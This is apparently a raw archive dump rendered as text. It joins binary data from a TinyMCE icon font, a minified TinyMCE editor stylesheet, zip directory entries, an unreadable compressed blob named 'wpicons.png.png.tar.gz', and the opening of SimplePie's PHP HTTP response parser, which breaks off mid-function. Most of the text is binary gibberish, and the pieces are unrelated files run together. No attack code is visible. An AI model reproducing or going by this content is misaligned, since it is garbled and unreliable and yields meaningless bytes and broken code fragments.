�#'!5!!5!5#!5!!%!!5!!!!5!����@����������������@������������������!!������7!!!!''7'77@�����@U�|���>��>��>��@���@ ����>��>��>������%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n���������C%!7!567>7654'.'&#"!!5&'.'&547>7632�@��1))<`@@II@@`<))1��@F;;U((�^]jj]^�((U;;F@���$$_88>PFFggFFP>88_$$��!)*l@@G]QRz####zRQ]G@@l*)���7COk"327>7654'.'&"'.'&547>7632#"&54632#"&5463227>767#"'.'&'j]^�((((�^]jj]^�((((�^]jYOOu""""uOOYYOOu""""uOO�%%%%�%%%%�501R!!U76==67U!!R10�((�^]jj]^�((((�^]jj]^�((�P""uOOYYOOu""""uOOYYOOu""p%%%%%%%%��

"@78QQ87@"

�'!!!";!32654&!!%#"&54632����&&��&&�����@&��&�&@&��@����
''7''!7!7'7!7��lԊ�v�lԊ�������l�Ԋ���������lԊ��lԊ��������llԊ���@����
048>334&+"33#%5#";5#54&+326=4&#26#535#53	7��@&�&@��@�&&���&��&@�����`�R�`���&&�����@&��&@@``&�@&`&&ƀ@���@ F�.���#53533##%!3!�������@����������������#'/37?CH3#73#%#535#53#73#%3#33#73#%#535#53#73#%3#3!!1!������@��@�@�������@��@�����@��@�@�������@������@�@@@@�@�@�@@@��@@��@@@@�@�@�@@@��@@@�������#3#73#%3#73#%3#!3!!#!������������� ��@ ���@@@@@@@@@@�@��������@�����+12#5267>54&'.#"3367>76!3@]QRz####zRQ]G�225522�GG�2&2	���''vLK���##zRQ]]QRz##`522�GG�22552&_4�QGFg���@��@�(>54'.'&#!!27>7654&32+#32� F./5���5/.FD��e*<<)f���,>>�"T/5/.F��F./5FtFK55K��K55K���#3!53#5������@�@��@�@@@�@�#3#"'.'&533267>5!!��W:;BB;:W�I((I������`<45NN54<��`88����8<#"&'.5332654&#"&'.5467>32#4&#"32%!!�0550,q>>q,05�rNNrrN>q,0550,q>>q,05�rNNrrN>q,�%��$b55b$!$$!$b54LL44L$!$b55b$!$$!$b54LL44L$!@���!####"'.'&547>76�����.))==))�����=))..))=@��!####"'.'&547>76
�����.))==))��������=))..))=���� ��!####"'.'&547>76-����.))==))������=))..))=�������	#5'!!!'##%!3!!5333@���@���ee��ee��@��������@���@eeee���@�����@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@����	''� ������������#;G!'!!3!!&'.'&547>7632'>54&#"3267?6&%"&54632��` ��@�8K-�@�'!!0
J128821Jc�
pPPppP2�3��3II33II@@�����B)(,821JJ128 ү2PppPPp
�3�I33II33I@���*59=373#35#335'54&+54&+"#"3!!81381#55!!!  @0�0@  @
�&�&�

 ���������@�@@@���
@&&@
��
��@@�@@�@@���"&.'.#"#5>723#5!!!�	&		z�]�W�@���@PF

��s�*�����@�0���@5%!!!!6762'&'7>76767>'&'&'.s��CI�L���BSR�RSBB!!!!B.67v>=;.00_,,%84-::~?@8V��P�G�GB!!!!BBSR�RSB-
%9EE�BC4-)V'-����1u'#"'.'&'81<5<5104504167>767'7818181<1&'.'&10>7>71099>581<5<5}Z  J()+NEEi	�-�:c-<<�:;;&%%F
<<) ,MY"
	fDEP'('M%%#�-���d0wpq�65:))1F&BB&412^+,'MG$�� `%KWl546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"07>7654&#�. Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5# !N! =+Bh .hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh. h&CC&+==++==�=+*;>%--X+=�!!5!5#!55!!!!5!����@��������������������������	�#!!5!5#!5!!%!!5!!!!5!����@�������������������������������@�!!5!5!5!!5!5!5!!5!5!5!5!5!�@��@��@��������@��@��@�@��@�@�@��!!!5#!5!!5!!!��@���@��������������@�������������%5#53533#!!!!5!5!5!5!5!@��V���j����@@�����Z��Z��������@�@�@��3##5#535%!!5!5!5!5!5!!!���V�����@������@��Z��Z��������@�@��@��##5#53533!!5!!5!!5!5!!��F��F��M�@�@�@�������C��@����������=��3533##5#!!!%!!!!5!5!M�F��F��������������C��C������������=��'!!!!5!5!5!5!5!!!5!5!''7'77���@������@�`=��=��=��=���������@�@��@�@���=��=��=��=��!!!!''7'77�=��}�`��`��`��`�����@���`��`��`��`�@�!!5!5!5!5!5!!5!5!5!5!5!�����@������@��@�@��@�@�@�@�!!5!5!5!!5!5!5!!5!5!5!�@��@��@�����@��@��@�@��@�@��$''7'77!#3#3!5!7!5!'!5!v��M��M��M��I��@@VZ@��6@��s@���=��M��J��M��MC�����@�@��@�@��%155!!'5!'5!!57!57!'77'7@@@@@@����
3�3
�#0��M��L��M���@
@�M@�@����3
4ZZ4
3�@v#ss0S�j��M��M��M��@����
5%33'47632#"'&��@�@@�@��@��((((�@��@���@��@��(((
�#'3#7!!3#7!!3#7!!3#7!!3#7!!���@������@������@��������������������������������������3'	7%93267>594&'.'
DVVV����TW��#@�		
	
�CVVV���P���#3I/


,���!!!!!!!!����
�j@V�*�*����	#57'762!!5�
���@�C+lC���Ts�
���=�Cm+C��pp	���	!GVht�!!##53#575#53%#535#535#5>32#.'#"&546?>54&#"##3267573>32#"&'#32654&#"%.#"3267#"&54632#�0CC�Ɇ��̉�����55+J )0.5&C�		�J0:=0GG�G?07BC90>C�@�C�6C�@7C����CCGCC�,( p
+!"'	
3	#�p
E7:MV� '' !%'%"$%-3G9<G2.���!B&'.'&#"347>7632!#"'.'&'7!7327>765z#+*`558j]^�((`! qLLV.,+O"#�`�&! qLLV.,+O"#����#+*`558j]^�((&+((�^]jVLLq !
	$ �`���VLLq !
	$ ����&+((�^]j���"*.'67>76735!5#!!.'#7261%#3733%7#*w+
���]��H3!6\D+�D�$]�]3�3]��MM�0v"$%M(((]]]]C7$M,:j0�C�]�Ѝ����@��3#3#%3#3#%3#3#%3#3#@������������������������������������@�@ 54&#!"3!26=3!;265!#�+�UUU��*�*���*V�	5	!!!�������r��s���s����� @�7)!3#!!3#@�����@���@���Q��Q��@���@@����!!"3!265#5#	G��E���!//!�!/�����E?���/!��!//!0��������!!7!"3!26534&'��`��(88(�(8 ���`X��0�0�����8(�@(88(����`HX��0�0���!";!2654&!5#!���(88(�3m(88H����8(�(8�8((8�����@�`..106726'476&'&#"310!4'.'&oE
*)ZZ)*
E88q*+�+*q88>V@d,+^%%%%^+,d@V>F--00--F����##54&+"#"3!2654&%46;2!PqO�Oq �\&�&��OqqO�� ��&&�����#2#54&+"32#!"&5463!5463Oq�&�&���qO�qO��&&�� ��Oq�37OS54&+"#3;26=!5534&+"!!;26=35#534&+"#3;26=!5!53�����@������@�����������@����@�����������������@����
!!%5!!7!5!#53��@����@@����@�����@@�@���!!!!!!������@�@�����$%.#"3!26'%"&546327#4632�K

�K%3f3%�%%%%X%%,g��,@@,%%%%�%%���He3#2#575!57"327>76767>7654'.'&'&'.'&#512#"'.'&547>76���%������*((K""""K((**((K""""K((*j]^�((((�^]jj]^�((((�^]�@%��@�@��""K((**((K""""K((**((K""`((�^]jj]^�((((�^]jj]^�((���7C"327>7654'.'&"'.'&547>7632##5#53533j]^�((((�^]jj]^�((((�^]jPEFiiFEPPEFiiFE��������((�^]jj]^�((((�^]jj]^�((��iFEPPEFiiFEPPEFi@��������)"327>7654'.'&3#!53#533j]^�((((�^]jj]^�((((�^]�����@@�@�((�^]jj]^�((((�^]jj]^�((���@@�����	
%!!#535#3��@�� � �ࠀ������@�� � ��������x�*D&'.'&'327>76767>'&'#"&'327>767>'a%&\557755\&%

$$Y235532Y$$

~!|F)N!

,**J"
"�EAAw66//66wAAE+,,X++).&&66&&.)++X,,+��>K- '@�5*0�A@@3!26=4&#!"
�

�@
 �

�
���#!4&+"!"3!;265!26=4&�
�
��

`
�
`
@`

��
�
��

`
�
�@	7�@@��@�@��������	��@����������@'	������@���@��@@	��@�@@	@���		������@��	7!!!!'#5'��������[c�����������[b� @�@/"#7#47>7632#27>7654'.'&#`PEFi����J229922JJ229PEFiiFEP@iFEP��922JJ229922JniFEPPEFi @�@/23'34'.'&#"3"'.'&547>763�PEFi����J229922JJ229PEFiiFEP@iFEP��922JJ229922JniFEPPEFi�!!�@��@�����!)@��@�������(DP%'.>54'.'&#"326776&"'.'&547>7632##33535#��'+1iFEPPEFiiFEPG�2�K��5/.FF./55/.FF./������Y�2�GPEFiiFEPPEFi1+'�KF./55/.FF./55/.F����������(DH%'.>54'.'&#"326776&"'.'&547>7632!!��'+1iFEPPEFiiFEPG�2�K��5/.FF./55/.FF./����Y�2�GPEFiiFEPPEFi1+'�KF./55/.FF./55/.F@�@N!	5#'35#'35#'35#'35#'35#'35#'35#'35#'35!'!5!'!5!'!5!'733#3!!!!!!���-;IXft�����������-��I����������7��W��@���@�u��u@@�!!!!!!@����������@�@�
���
)7FTcr��%2#"&=46"&=46322+"&5463+"&546;2"/&4762'&4762"%"'&4?6262"'&4?"327>7654'.'&"&54632%%%%%%%%�%%@%%�@%@%%@%}-5.5��-5.5g5.5-��5.5-=5/.FF./55/.FF./5B^^BB^^�%@%%@%�%@%%@%�%%%%@%%%%�.5-5�.5-55-5.�<5-5.�F./55/.FF./55/.F�`^BB^^BB^3����".''6767676&'&'�-`1.((99�KJKK.\ee�RR553==\� <GF�KLEF44A
'C53==\\fe�QR6���*"327>7654'.'&47>763"'.'&j]^�((((�^]jj]^�((((�^]�iFEPPEFi�((�^]jj]^�((((�^]jj]^�((�PEFi�iFE�C}='			7}Z���Z"��Z##Z���Z��"Z���Z"��Z#���`�7	'����@��@�@@�����(326=#"3!2654&#"32654&#!"%%��%%�%%%�[�%%��%���%%�[%%%�%%��%%%���7'!5##3!3535#!@�@��@�������@��@@��@�����������@@��.?��_<��A�A��������~@]@@@v.�@6�@������@ �@0-��@*@�@@@���@  @3��
B��8b�X�d���r��j(Dt�Jj���		 	P	z	�


�
�&��X��

>
�
�
�T��.��"�>t��*b��X���0���Df�X�Br���0^��~�����8`�� 4H\jx���HZl�V���� D f z � �~��`6uK
�		g	=	|	 	R	
4�tinymcetinymceVersion 1.0Version 1.0tinymcetinymcetinymcetinymceRegularRegulartinymcetinymceFont generated by IcoMoon.Font generated by IcoMoon.PK�^d[#h���content.min.cssnu�[���body{background-color:#FFFFFF;color:#000000;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:14px;line-height:1.3;scrollbar-3dlight-color:#F0F0EE;scrollbar-arrow-color:#676662;scrollbar-base-color:#F0F0EE;scrollbar-darkshadow-color:#DDDDDD;scrollbar-face-color:#E0E0DD;scrollbar-highlight-color:#F0F0EE;scrollbar-shadow-color:#F0F0EE;scrollbar-track-color:#F5F5F5}td,th{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:14px}.word-wrap{word-wrap:break-word;-ms-word-break:break-all;word-break:break-all;word-break:break-word;-ms-hyphens:auto;-moz-hyphens:auto;-webkit-hyphens:auto;hyphens:auto}.mce-content-body .mce-reset{margin:0;padding:0;border:0;outline:0;vertical-align:top;background:transparent;text-decoration:none;color:black;font-family:Arial;font-size:11px;text-shadow:none;float:none;position:static;width:auto;height:auto;white-space:nowrap;cursor:inherit;line-height:normal;font-weight:normal;text-align:left;-webkit-tap-highlight-color:transparent;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;direction:ltr;max-width:none}.mce-object{border:1px dotted #3A3A3A;background:#D5D5D5 url(img/object.gif) no-repeat center}.mce-preview-object{display:inline-block;position:relative;margin:0 2px 0 2px;line-height:0;border:1px solid gray}.mce-preview-object[data-mce-selected="2"] .mce-shim{display:none}.mce-preview-object .mce-shim{position:absolute;top:0;left:0;width:100%;height:100%;background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)}figure.align-left{float:left}figure.align-right{float:right}figure.image.align-center{display:table;margin-left:auto;margin-right:auto}figure.image{display:inline-block;border:1px solid gray;margin:0 2px 0 1px;background:#f5f2f0}figure.image img{margin:8px 8px 0 8px}figure.image figcaption{margin:6px 8px 6px 8px;text-align:center}.mce-toc{border:1px solid gray}.mce-toc h2{margin:4px}.mce-toc li{list-style-type:none}.mce-pagebreak{cursor:default;display:block;border:0;width:100%;height:5px;border:1px dashed #666;margin-top:15px;page-break-before:always}@media print{.mce-pagebreak{border:0}}.mce-item-anchor{cursor:default;display:inline-block;-webkit-user-select:all;-webkit-user-modify:read-only;-moz-user-select:all;-moz-user-modify:read-only;user-select:all;user-modify:read-only;width:9px !important;height:9px !important;border:1px dotted #3A3A3A;background:#D5D5D5 url(img/anchor.gif) no-repeat center}.mce-nbsp,.mce-shy{background:#AAA}.mce-shy::after{content:'-'}.mce-match-marker{background:#AAA;color:#fff}.mce-match-marker-selected{background:#3399ff;color:#fff}.mce-spellchecker-word{border-bottom:2px solid rgba(208,2,27,0.5);cursor:default}.mce-spellchecker-grammar{border-bottom:2px solid #008000;cursor:default}.mce-item-table,.mce-item-table td,.mce-item-table th,.mce-item-table caption{border:1px dashed #BBB}td[data-mce-selected],th[data-mce-selected]{background-color:#2276d2 !important}.mce-edit-focus{outline:1px dotted #333}.mce-content-body *[contentEditable=false] *[contentEditable=true]:focus{outline:2px solid #2276d2}.mce-content-body *[contentEditable=false] *[contentEditable=true]:hover{outline:2px solid #2276d2}.mce-content-body *[contentEditable=false][data-mce-selected]{outline:2px solid #2276d2}.mce-content-body.mce-content-readonly *[contentEditable=true]:focus,.mce-content-body.mce-content-readonly *[contentEditable=true]:hover{outline:none}.mce-content-body *[data-mce-selected="inline-boundary"]{background:#bfe6ff}.mce-content-body .mce-item-anchor[data-mce-selected]{background:#D5D5D5 url(img/anchor.gif) no-repeat center}.mce-content-body hr{cursor:default}.mce-content-body table{-webkit-nbsp-mode:normal}.ephox-snooker-resizer-bar{background-color:#2276d2;opacity:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ephox-snooker-resizer-cols{cursor:col-resize}.ephox-snooker-resizer-rows{cursor:row-resize}.ephox-snooker-resizer-bar.ephox-snooker-resizer-bar-dragging{opacity:.2}PK�^d[����0
0
img/loader.gifnu�[���PK�^d[���55n
img/anchor.gifnu�[���PK�^d[g�e���
img/object.gifnu�[���PK�^d[����++
�img/trans.gifnu�[���PK�^d[3�p��skin.min.cssnu�[���PK�^d[��E�content.inline.min.cssnu�[���PK�^d[Y٫��$�$��fonts/tinymce-small.woffnu�[���PK�^d[*�X%�%���fonts/tinymce.svgnu�[���PK�^d[�nP6�I�I��fonts/tinymce.woffnu�[���PK�^d[�4I{%%��fonts/tinymce-small.eotnu�[���PK�^d[|�M X$X$fonts/tinymce-small.ttfnu�[���PK�^d[J���`�`�4fonts/tinymce-small.svgnu�[���PK�^d[�1 �<I<I��fonts/tinymce.ttfnu�[���PK�^d[��3�I�I�fonts/tinymce.eotnu�[���PK�^d[#h���8)content.min.cssnu�[���PK�(914338/wpicons.png.png.tar.gz000064400000016077151024420100011405 0ustar00��ygTO�%A��Y@���r$H�!J�IC�0�$ IA$	���4�(9i�ȀD��v�ϻ�_����={�<���uuկ��}���V��������U����������������j����cg���d���� d��"��.��j�����K��b�=��;ڸ�z	����X������P(�#���b�l\����������򿣯����FN�L�-�k��������'��,�
`�^`O�VW���ۻ�l���[�����7\��3�kFf� H^^ῂ�.���Һ��������؈����o������Gff���K`xrvv6���������񙮮�Α-ClP[K+**���[���
���7yzz�V"����7w�{M-��o�9�����bk���V��i���y�WQ^.������6�����!�GDxXJJJhگ�&���o��.RRR-����alk�^eo��=a�>�O�P<�^.odmm������fkk����>9���
K�Xҧ�/_���G��� ���mH��+�Ё��%��6��)u�=�������B�ػ>gg}kD&䶷��n�Z��R744TW[��ʊ�[G�:�m�`Dz��� H_���mm��⪶��˛R2����ڲ���B�b�*��c3�r.��M�	
��򲱱Q'YYY����$!-�����Ŗ��6��0��q��AAhh(6l��֌����������/��U�jX���;;;E-n�n�����������3�&�H$�YF̾[��s�Bя��j���U�v�c&����X汊�����R����{{�~�gW�X��?��l�}��z��]i�NU�~xx4j�h��Sp�twaw}f=%%�4�N7����(ވ��$Q������./k�9�&�]+s��d�����C��������L��!�Ò�᭯��"%R�$�7d���|&�����U�M↶�?���x�n�g�QK�u��A�S�yc����eww&��ęyQ�����ލ�9�Ҝ#]��T�?��K�_V7?I�"�/F�ī
��������E����Zl����_?��V��:޽Y�B�a�PQ2���0�7��k�;��S�係�=zfK�H����Gٻ�ҫ���yT��"F,�1χ(EzF����*����9�e6^)��~:{�/���rd`]�w ��)�̘�	���ڻ�`࣍oȭQ��CrW�6�H��3m�E��fg253/���3o�5�<"�`�+�ϛ[�H@'c&�l%�;\a�������q�"�/7���׆��W.�!��������A+�֩nK�V�E�wL.c��E��]/BX$�tYCjDJ���#{ϥ;^�/��P���~�CG5`
d$����7�����ԅ΋�;�k�$}��@Z2��H����d���j��[j¼��.���!���g<���V)7�11s�p�U�֋��I7�W���`�{�R�տ�i�+�L�c������w=X��]��m����
�j�wt�AA7�m~J�����˗[#�t8=c#5�q��5�d�,�C��μ~�;$�S��?���l����ͩ���#Ee)�i�c�V����8���~L�����yh��!#=d��>R�������T)/
���_�%=L��p�N	���U^�ٲC�L��W�W)�RXL�.\n7S	�p��wi����#�p���13�Ki2b†ѓ�,-z_W��2��r�%�M��[j�d���������g�5y_|SWgKb��!�,��@Q-vD�q��.fùR"�%]��4w�A|�H�%���6]�k�\���˓�be5�Qt�6І�Ј�H"��Eo6��rd8ĢKdR��O�HF>���ó�<�4�&,�˲�G�����o %�� ��V���O��IG؅�S¯�[�.�:���90=,��V�h�/�<L�'ƮX���������k6d��SԪ{jz��)�?}BS;���}�C�}A��Vj����g�ct0���ֳ닿=�o�η]CBC���^�Rr&ͨ5�'���sH�k�?�{B�<fw�v`o�59�xo=~�}����|u��2�W!�
��T��f���C����9�rB���l��2ꖪL����9��s����Y��hGr-���=mH
�
	�$^�]�q�RU�������)�Wl[�?sgMVPm�*�]��|�L�{Ĕ�$F�D��n�sgj����`�4%���HdL��Ycj!�tc���o��)�δ��߹ί�37�}a�ﱏ��E�\��D�b�ݠ�s����Pc���7;CU@pw��ݔ<���W�����1ɉi��f���U/�_�r��P+o@��'�p����&�Jv��w^i�T�M��(hQ^J�.բ���q�O�B-���M��������Q4q�AW������;��u>>,���1�.�I(�4K��ڶ��=���mS(�ͣ`qj
��R��SY����N���[�%݌o>Uq�۠:|�N�՚/���R��6�̻>�^�����X8���*�`���-����]���}9��$�-z߫-�搿��4�PU>����D�́��T#��o��<�{5�q���y��MR�
�0~���Gɡ����j�طt)�<���`��io�Џ��Y�3$��u�δ�N��C�z�p��]�'IK�*��'Nx�','i�+�F`���t��i36qw�
|�ű���#�.�|��Y|Mu@5P�z:�H��B����g_�@K=�EL�����1��ɺ�D��K�!D��v���s���ee�k8�=�;\OVF�}�
�պ�^n�wH���^�ʱB����pĄ�	}?9X��D�Ԥe�D�g��VS�k��U)���K���ޟGR�{�My�����i�m��}���X �E�H�<E
�/<�⎖���[�"����ö�y߲y6~˲�^19�J��i1�y
_fYG��<���Ɠí{�h��Di��w4��<�
�]�~��P�|B����5T ��^yJc�g��k��,!Ln�u�H��|{C���1��� $�I�a�8�CTq��Z`I B�c�� 9
�v��ԅ߮�x����%�P����������M�
6|�D$��ƩE�h��
�|����t���՟ԣ�J o��_�@O�wO{
>�ѳt��u�t,�WV>��cT}�ޱMp.���d8�,�U@G
��+��~#��=���Km��+��K�.�*�EȈx���)���ؙ⁧X�Tȅh�p��B�FN��(u�d���E�E_�k<|����8��u]����+p�S�{�
\.Z�l50i�y�7�����n8����~�T�7�}߅��`CI��>eFj���Vw�ᯒUH���u�!XYyz��|EQ�Z~��}�s
���o�z���3�Ju<�".b��iɾ�2X2�yO�9h5w(����URRJ*���`�>/�0��=Z+ṗ�yAFlf�-���pٛnr��x�j�s%4�NJ�!lN�vyl�'�jl�O)��k��x�.��Qg,)8���:.����-�W��yzq��i��!2W-Xn�l�nZ�GН�+�Z]�|f����֛ܼ�|v9Q8��D�K��f4���B)ك���X<Υ�$�#�F+��ċه±����8:��k�}�&/��*�� ���ϸ���Ѓ�L٠��ղd"��tj�����}��%����R�q�v�%(3
���5)��0=�����m;�O��l�z��+R\���]+�ߧ�u�����Og���μC�s��؝�_��zIi�^��U�j�p_�RzK�
,E�p7�P�E�BZ��E��,?�f��4���Qqd�?tt�H�n�	[ƌ`�w���$ʝ�d�1<d|��tO��)���
Ž��rk�*2r�k��:[k��x }*B�1�0��(�eq�}��a� �����t�T��9O%�a��͓�,�&q<yO�"�r��7���cq�$�꺋��8���X�/.^Q�.�-Y�R���lnVo���8:K^���	�_N���LFd�i�<d3�aWC��+��&����	,����WQűy&u#DhI7�2��ԡ�S�S2S��J@�r�������5Ҧ�g8���H��ز���p�_�Uu�[#T��c��*ʆ����*��,-ͭ�އ����Y������=��O&�Ɇ�һ5��c�*����E��5d����%%��h.���*�b��m6�O ��fVx�*Q+cy� ��^͂�s�fFM^
�������'X�Ӓ�U��f[�?�r(ݣg�"Hu�v�e�xzrey�, ?b��r����l���GpLp�;�?|PZ=/p]��*�;�+"ד��!�W���/%���b������|�����p�xG�
�C=�|os�M�t��:��/-z�ø��+t���?�> �nw}[lv�3V���[@ĈKo��x	$��{���,5�L06X�œ��h��kC�������߾V�bn���	~3��ђ
���o�_�]w���A�L[�<��'���=��3����J\>&w/�ؤ�[��W�+=7�ѭޢBǡF&��_5�y�h�V��H��I�SS+��D(��c����F�����Ϡ�v��(�.����O��+>eaR"]9�gz�_qj^�>�\ߣi�;�h<f*�)v�k�Lr�&nhh�g7.���f�r�#�-d�˼�s|քt&���:ɞOf?��4c��i0�JU��Io�)Cʹ��^�4����.��r�&0��a��H��6#xY���v,���Mc=m����/?h��}8�K�	��ZD-AD�0�T�>��<-����'i�DY��>h�,�h|O�]ï�w���yϟz�px:�������~����C�X29�6@�	4�{�Q�5�hU
���Fܘ�8�/^ҏ1ċ��������ƛ�e<�w��1�m?,�&�YG�O:�I����z�]t��x�����
K�iV*@�
�@Ax>됄9vh�e�JƸ��b�h}G�)�}J��=U�.���O "�/J��ŽK:��:'J�"1�I���BEm�U�j�<�9v>J�ό��:�%�_�s����'�#�/��.��""Iϲ��U#�ĶW5�Q7�o{��T��n&^���B�t%cG���X[eC;����#P��̫?�D�d��]g�?���(h��ĭUç1���
�����2�6��g�t{�=��
�r*��>�8&bI����T,��6�RePv���g
�e=z�GxL�G-BD�䗨=Mcެ0�Q�*�g��?
m��PU���&`a΀�N�^�U=Q�lvq�-ۦT�dNYN.x2Ba��5p���_�r5����x4�����l���S����A��ڴ|���IM�u%�u��?�P~�gY�vDii{wtp'��jf	��`��b��ԐO}�LH�n�M44c�{�̛ߖiC}$�c�~<��4�
<��(�SvBHr?��Ks������IM����x�d?ex-sb��]b;$�F��B_F�
���d���=�I��pE������
L�@ɸ��b�fb��=@����[s'�=3D����	���N͗$k(,_�V.�Xݬv��:�$n0���m8�B��Νe
�%m+�vf���65�'m�p
ӻj�C8��7�m-Z��9ч)Q�I$�/�3�z� ���'��Pp��q����"j:-���VJuۉ�2w�FJ�V��BjEm�Tn���D쌙G��Zb��M��7�%Ž�&#�Sœ8+����F��F�ޟp<| "��5�y�0X[�W{>�l_�;k�h��PKVϜ�
�#�1+�[����a���(W�ΐp�rf��kI��g�皠̲,��B	�~�d��0���M�HZ,o�����*�0���*��k��9�D';i��o�X;3���x�V����zSw�D
k�	s�A�zU��p?�n "�
�d����,B��\���O��[�La^
d~��kʈ�v�#l�F�lv�j.oӾ�@tD��O����g�k���T^�Z7�X���=o~y~G��p���~A:�'Gڔ��s��x���.�$7'L[��ƪ��[�6��ho����mOG����f)�ӌ����<ofJsxn���+�K�S�[&1
�������!#��Q}�k�*���ZCl��X���]�s�V,N%E�ZXX���ZO�?K]I�})���s��7N����L��׷�jo���C���)�%z
��i�g/m7scC^�����G<�K�MVGl�|�&K�oB�2U]�x�%��x*V���UB��쭑��ĥ�
���a\��ٱ�����0�G��q*��6�����ɪQ�\xR����P�A�`����s���X9�*x���j��C�"�QQ�:VV�ˮ2�?��iY%<��B

)w���)8���ܱ�<,\���c�9�5La�‘�� �:���\��C��~G4��5N�\���ޤ* ,���%K�>˲ⵠ´�~Y�����Z��N�=nk����t3Cߛf
D�R�f�A$�IRU_CBjk��O�7ttG�̡y�<c���Z��m�rO���`R���&�Y(d��c9��5��<��2V�"z��g_qf�q+��#�kV)}�(��I��`�������*X�;�a�lY(	$O`�G��H5x��3f>�}E���N�)[y��*.��X�(�2[�Q���?yJ+�~&�04$��Ē��"gb
�N(
~��s��({�q{0�� 
�yx�@q���Y�e��$!�'X���V!:�1�7V��K&U誇*V(%�>�Cm���gc���hU��]Z��H��?A�w��sI��H���x)��G��{g8\BV�z���b#�+��@�Z$k��Ɖ�e�jh�e���
d�Ds�o
�yj�錴��P[{��w��,�t��<����x���98������_���m"14338/HTTP.zip000064400000035325151024420100006526 0ustar00PK�bd[s�	�;:;:
Parser.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\HTTP;

/**
 * HTTP Response Parser
 *
 * @package SimplePie
 * @subpackage HTTP
 */
class Parser
{
    /**
     * HTTP Version
     *
     * @var float
     */
    public $http_version = 0.0;

    /**
     * Status code
     *
     * @var int
     */
    public $status_code = 0;

    /**
     * Reason phrase
     *
     * @var string
     */
    public $reason = '';

    /**
     * Key/value pairs of the headers
     *
     * @var array
     */
    public $headers = [];

    /**
     * Body of the response
     *
     * @var string
     */
    public $body = '';

    private const STATE_HTTP_VERSION = 'http_version';

    private const STATE_STATUS = 'status';

    private const STATE_REASON = 'reason';

    private const STATE_NEW_LINE = 'new_line';

    private const STATE_BODY = 'body';

    private const STATE_NAME = 'name';

    private const STATE_VALUE = 'value';

    private const STATE_VALUE_CHAR = 'value_char';

    private const STATE_QUOTE = 'quote';

    private const STATE_QUOTE_ESCAPED = 'quote_escaped';

    private const STATE_QUOTE_CHAR = 'quote_char';

    private const STATE_CHUNKED = 'chunked';

    private const STATE_EMIT = 'emit';

    private const STATE_ERROR = false;

    /**
     * Current state of the state machine
     *
     * @var self::STATE_*
     */
    protected $state = self::STATE_HTTP_VERSION;

    /**
     * Input data
     *
     * @var string
     */
    protected $data = '';

    /**
     * Input data length (to avoid calling strlen() everytime this is needed)
     *
     * @var int
     */
    protected $data_length = 0;

    /**
     * Current position of the pointer
     *
     * @var int
     */
    protected $position = 0;

    /**
     * Name of the hedaer currently being parsed
     *
     * @var string
     */
    protected $name = '';

    /**
     * Value of the hedaer currently being parsed
     *
     * @var string
     */
    protected $value = '';

    /**
     * Create an instance of the class with the input data
     *
     * @param string $data Input data
     */
    public function __construct($data)
    {
        $this->data = $data;
        $this->data_length = strlen($this->data);
    }

    /**
     * Parse the input data
     *
     * @return bool true on success, false on failure
     */
    public function parse()
    {
        while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) {
            $state = $this->state;
            $this->$state();
        }
        $this->data = '';
        if ($this->state === self::STATE_EMIT || $this->state === self::STATE_BODY) {
            return true;
        }

        $this->http_version = '';
        $this->status_code = 0;
        $this->reason = '';
        $this->headers = [];
        $this->body = '';
        return false;
    }

    /**
     * Check whether there is data beyond the pointer
     *
     * @return bool true if there is further data, false if not
     */
    protected function has_data()
    {
        return (bool) ($this->position < $this->data_length);
    }

    /**
     * See if the next character is LWS
     *
     * @return bool true if the next character is LWS, false if not
     */
    protected function is_linear_whitespace()
    {
        return (bool) ($this->data[$this->position] === "\x09"
            || $this->data[$this->position] === "\x20"
